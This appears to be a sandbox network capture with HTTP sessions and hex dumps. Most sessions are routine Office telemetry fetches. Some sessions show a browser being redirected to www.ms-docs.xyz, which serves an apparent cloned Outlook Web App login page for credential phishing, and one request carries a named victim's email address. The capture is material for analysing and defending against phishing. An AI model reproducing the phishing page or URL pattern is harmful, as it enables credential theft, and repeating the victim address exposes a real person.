2024-12-03 14:32:44 UTC	887	OUT	GET /auth/?email=garythrow@nationaltubesupply.com&sessid=MTczMzIzNjM0MzI4MjU0OTU5ZWFhNTZkNDI5NmZkZDQ5YTk4NGFlMzg0ZmI5NmNmZDFlY2Y1ODllYzBkZDdiZmU5YTJiNjEzZGJiMWZiNjlhMw== HTTP/1.1 Host: www.ms-docs.xyz Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=64164147a0126881c9cba57751d03b4f
2024-12-03 14:32:45 UTC	414	IN	HTTP/1.1 302 Found Date: Tue, 03 Dec 2024 14:32:44 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: login.php?c=1jEW&replaceCurrent=1&url=http%3A%2F%2Fnationaltubesupply.com X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.9	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:44 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:45 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:44 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a7f5da2f-b01e-0070-7a69-431cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143244Z-174f7845968glpgnhC1EWR7uec0000001690000000005std x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:45 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.9	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:44 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:45 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:45 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a75c6aaa-401e-002a-4291-3fc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143245Z-174f7845968xr5c2hC1EWRd0hn0000000qzg00000000548s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:45 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.9	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:45 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:45 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:45 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 5bb85073-401e-005b-22cf-439c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143245Z-174f7845968vqt9xhC1EWRgten000000163g00000000c0zv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:45 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.9	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:45 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:45 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:45 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 4793f8bc-701e-0053-5872-433a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143245Z-174f7845968frfdmhC1EWRxxbw000000160g00000000h7nz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:45 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.9	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:45 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:46 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:45 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 743f446d-301e-005d-68fb-44e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143245Z-174f78459684bddphC1EWRbht400000015s000000000ft3a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:46 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.9	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:46 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:47 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:47 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 2eabf22f-f01e-005d-68dc-4313ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143247Z-174f7845968psccphC1EWRuz9s000000166000000000mawu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:47 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.9	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:47 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:47 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:47 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 2a3cc61f-301e-001f-7491-3faa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143247Z-174f7845968nxc96hC1EWRspw800000015tg00000000cm89 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:47 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.9	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:47 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:47 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:47 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: e61fb942-301e-000c-78b4-43323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143247Z-174f7845968xlwnmhC1EWR0sv800000015sg00000000mm2p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:47 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.9	49818	101.99.88.62	443	1184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:47 UTC	801	OUT	GET /auth/login.php?c=1jEW&replaceCurrent=1&url=http%3A%2F%2Fnationaltubesupply.com HTTP/1.1 Host: www.ms-docs.xyz Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=64164147a0126881c9cba57751d03b4f
2024-12-03 14:32:48 UTC	335	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:47 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-03 14:32:48 UTC	7857	IN	Data Raw: 32 30 30 30 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 31 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 4f 77 61 50 61 67 65 20 3d 20 41 53 50 2e 61 75 74 68 5f 6c 6f 67 6f 6e 5f 61 73 70 78 20 2d 2d 3e 0d 0a 0d 0a 3c 21 2d 2d 20 7b 35 37 41 31 31 38 43 36 2d 32 44 41 39 2d 34 31 39 64 2d 42 45 39 41 2d 46 39 32 42 30 46 39 41 34 31 38 42 7d 20 2d 2d 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c Data Ascii: 2000<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">... Copyright (c) 2011 Microsoft Corporation. All rights reserved. -->... OwaPage = ASP.auth_logon_aspx -->... {57A118C6-2DA9-419d-BE9A-F92B0F9A418B} --><html><head><
2024-12-03 14:32:48 UTC	341	IN	Data Raw: 65 72 0d 0a 7b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 0d 0a 09 63 6f 6c 6f 72 3a 23 30 30 37 32 43 36 3b 0d 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 77 66 5f 73 65 67 6f 65 2d 75 69 5f 6e 6f 72 6d 61 6c 27 2c 20 27 53 65 67 6f 65 20 55 49 27 2c 20 27 53 65 67 6f 65 20 57 50 27 2c 20 54 61 68 6f 6d 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 74 77 69 64 65 20 2e 73 69 67 6e 49 6e 45 6e 74 65 72 0d 0a 7b 0d 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 37 70 78 3b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 39 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 74 6e 61 72 72 6f 77 20 2e 73 69 67 6e 49 6e 45 6e 74 65 72 20 0d 0a 7b 0d 0a 09 6d 61 72 67 69 6e 2d Data Ascii: er{font-size:22px;color:#0072C6;font-family:'wf_segoe-ui_normal', 'Segoe UI', 'Segoe WP', Tahoma, Arial, sans-serif;margin-top:20px;}.twide .signInEnter{margin-top:17px;font-size: 29px;}.tnarrow .signInEnter {margin-
2024-12-03 14:32:48 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-03 14:32:48 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 69 67 6e 69 6e 62 75 74 74 6f 6e 20 0d 0a 7b 0d 0a 20 20 20 20 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 0d 0a 7d 0d 0a 0d 0a 2e 6d 6f 75 73 65 20 2e 73 69 67 6e 69 6e 62 75 74 74 6f 6e 0d 0a 7b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 70 78 20 38 70 78 20 35 70 78 20 38 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 72 74 6c 20 2e 6d 6f 75 73 65 20 2e 73 69 67 6e 69 6e 62 75 74 74 6f 6e 0d 0a 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 2d 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 74 6e 61 72 72 6f 77 20 2e 73 69 67 6e 69 6e 62 75 74 74 6f 6e 20 0d 0a 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 Data Ascii: 2000igninbutton { cursor:pointer; display:inline}.mouse .signinbutton{ padding: 0px 8px 5px 8px; margin-left: -8px;}.rtl .mouse .signinbutton{ margin-right: -8px;}.tnarrow .signinbutton {position: re
2024-12-03 14:32:48 UTC	6	IN	Data Raw: 20 20 20 20 20 20 Data Ascii:
2024-12-03 14:32:48 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-03 14:32:48 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 20 20 20 20 6f 20 3d 20 6f 46 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 57 65 27 72 65 20 72 65 70 6c 61 63 69 6e 67 20 73 6f 6d 65 74 68 69 6e 67 20 6f 74 68 65 72 20 74 68 61 6e 20 74 68 65 20 63 75 72 72 65 6e 74 20 66 72 61 6d 65 2c 20 20 77 65 27 6c 6c 20 6a 75 73 74 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 6c 6f 67 20 62 61 63 6b 20 69 6e 20 74 6f 20 74 68 65 20 64 65 66 61 75 6c 74 20 73 74 61 72 74 20 70 61 67 65 20 69 66 20 74 68 65 20 66 72 61 6d 65 20 64 6f 65 73 6e 27 74 20 70 72 6f 76 69 64 65 20 61 20 75 72 6c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 20 66 6f 72 20 72 65 6c 6f 67 6f 6e 2e 20 54 68 65 20 66 72 61 6d 65 20 73 68 6f 75 6c 64 20 70 72 6f 76 69 64 65 20 61 20 67 6c 6f 62 61 Data Ascii: 2000 o = oF; // We're replacing something other than the current frame, we'll just // log back in to the default start page if the frame doesn't provide a url // for relogon. The frame should provide a globa
2024-12-03 14:32:48 UTC	6	IN	Data Raw: 20 6e 75 6c 6c 20 Data Ascii: null
2024-12-03 14:32:48 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
